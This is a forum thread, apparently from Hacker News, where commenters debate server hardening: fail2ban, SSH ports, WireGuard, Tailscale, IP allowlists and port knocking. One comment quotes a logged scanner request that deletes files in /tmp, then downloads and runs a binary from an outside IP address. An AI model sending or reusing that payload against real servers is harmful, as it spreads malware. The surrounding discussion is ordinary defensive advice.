If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.
I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...
I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.
Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.
I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.
Couldn't agree more!
But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that.
On a slight tangent, I’ve never really bought into changing SSH port from default. I’d say the convenience of not having config/extra port specification is worth having it on a well known port, but that’s just my personal philosophy. I feel like for my low traffic things, just having strong SSH key and auto-updates is good enough.
But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.
The reason I've been in the code base a bunch is because I've taken on support of forks bootstrapped by others in various scenarios.
Design safety goes a fairly long way, but it's so easy to screw up patching code shaped this way. I might trust the core, but I don't trust external patches.
The problem in practice is, distros can't help themselves.
https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...
I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.
I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.
(And that one other comment is a little shady as well.)
Give it up already.
Goodbye!
Instead of lowering your attack surface you increase it by adding stuff.
For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.
This isn't something they should have trouble understanding/accepting.
Whether this is worth the hassle is left to the reader: if you have passwords disabled and only use keys it really shouldn’t matter.
I've run ssh on non-standard ports for over 20 years, and my auth.log is gets a hundred knocks an hour - and mind you, they all return "no key".
It's just life, and it will continue to get worse. Secure your server and ignore it.
This aggression will not stand
The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.
I’m sure you could do it a lot faster with a better CPU and 20% commit on a 10G port
Source Code: https://github.com/robertdavidgraham/masscan
Article from PoC || GTFO with more internal details on how it works: https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf (Page 66) [Note: PDF is both a valid PDF + valid ZIP file with source code]
Anyone have a better workaround for this?
I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from.
You could add a layers to it to make it more complicated.
I found it harder to use. I even wrote tests for my use cases and what I learned was a real appreciation of what ssh does, is, and provides and I went the other way and use it in more places than I did before.
Wireguard is also very strong here, as it learned from this kind of problem in SSH and does not reply at all unless authentication succeeds. This makes debugging harder, but also makes leaving it openly listening quite a bit safer, as the protocol surface in pre-auth is absolutely minimal.
Probably a bit overkill - but it was a fun feature to implement with Go over the weekend. The new Fido2 SSH implementation is also incredibly cool.
I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.
If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.
All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.